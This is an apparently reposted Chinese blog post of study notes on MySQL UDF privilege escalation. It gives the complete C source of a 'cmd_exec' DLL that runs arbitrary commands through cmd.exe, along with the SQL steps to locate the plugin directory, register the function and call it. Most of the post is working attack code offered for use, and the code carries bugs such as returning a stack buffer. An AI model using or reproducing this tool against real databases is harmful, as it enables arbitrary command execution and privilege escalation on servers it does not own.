UDF提权 mysql插件学习笔记

以前看过一篇老外的文章讲mysql udf提权原理,这篇文章中针对kali自带的mysql 提权udf.dll进行了解释,但是并没有介绍如何编写一个标准的udf扩展。

后来有个朋友托我帮他改下udf.dll,把其他功能去掉,只留下cmd_shell这个命令执行的功能

开始我以为随便写个dll,然后导出个函数,就可以用mysql加载并调用了。

原来需要按照mysql手册指定的格式去编写,其中必须用到mysql.h这个头文件,
可以在这里下载一个Connector C msi的安装包,安装完里面有个include的文件夹,直接拷到项目目录下就行了

在这里插入图片描述

具体开发步骤,可以参考官方文档:https://dev.mysql.com/doc/refman/5.7/en/udf-arguments.html

比如我要实现的函数名叫cmd_exec,必须也要声明一个cmd_exec_init的函数才行,这个函数是要做一个初始化工作,申请内存什么的。

查看mysql的扩展路径,得到mysql的扩展路径后,把编译好的扩展dll放进去

select @@plugin_dir()

然后在mysql中导入扩展dll中的函数

CREATE FUNCTION cmd_exec returns STRING SONAME 'test.dll';

使用扩展函数

select cmd_exec("calc.exe");

删除扩展函数

drop function cmd_exec;

下面是我写的cmd_exec 扩展dll源码

#include "stdafx.h"
#include "windows.h"
#include <stdio.h>
#include "./include/mysql.h"


extern "C"  __declspec(dllexport) my_bool cmd_exec_init()
{
	return 0;
}


extern "C"  __declspec(dllexport) char* cmd_exec(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error)
{

	
	HANDLE hReadPipe = NULL;
	HANDLE hWritePipe = NULL;
	SECURITY_ATTRIBUTES sa;
	sa.nLength = sizeof(SECURITY_ATTRIBUTES); // 结构体的大小,可用SIZEOF取得
	sa.lpSecurityDescriptor = NULL;//安全描述符
	sa.bInheritHandle = TRUE;; // 安全描述的对象能否被新创建ÆÆ的进程继承

	// Create anoymous pipe:
	if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) == NULL)
	{
		return "Create anoymous pipe failed\n";
	}

	// Create Child Process:
	PROCESS_INFORMATION pInfo = { 0 };
	STARTUPINFOA stInfo = { 0 };
	stInfo.cb = sizeof(STARTUPINFO);
	stInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
	stInfo.hStdOutput = hWritePipe;
	stInfo.hStdError = hWritePipe;

	// get 
	char cmd_buf[4096] = { 0 };
	sprintf(cmd_buf,"/c %s", args->attributes[0], args->attribute_lengths[0]);

	if (!CreateProcessA("c:\\windows\\system32\\cmd.exe", cmd_buf, NULL, NULL, TRUE, 0, NULL, NULL, &stInfo, &pInfo))
	{
		CloseHandle(hWritePipe);
		CloseHandle(hReadPipe);
		return "Create child process failed!\n";
	}
	CloseHandle(hWritePipe);

	// command buffer
	char lpBuffer[4096];
	DWORD lpBytesRead = 0;
	while (PeekNamedPipe(hReadPipe, lpBuffer, 4096, &lpBytesRead, NULL, NULL))
	{
		if (lpBytesRead)
		{
			ReadFile(hReadPipe, lpBuffer, lpBytesRead, &lpBytesRead, NULL);
			lpBuffer[lpBytesRead] = '\0';
			return lpBuffer;
		}
	}
	WaitForSingleObject(pInfo.hProcess, INFINITE);
	CloseHandle(hReadPipe);

	return "nothing!!!";
}



BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
	)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

猜你喜欢

转载自blog.csdn.net/cssxn/article/details/89497942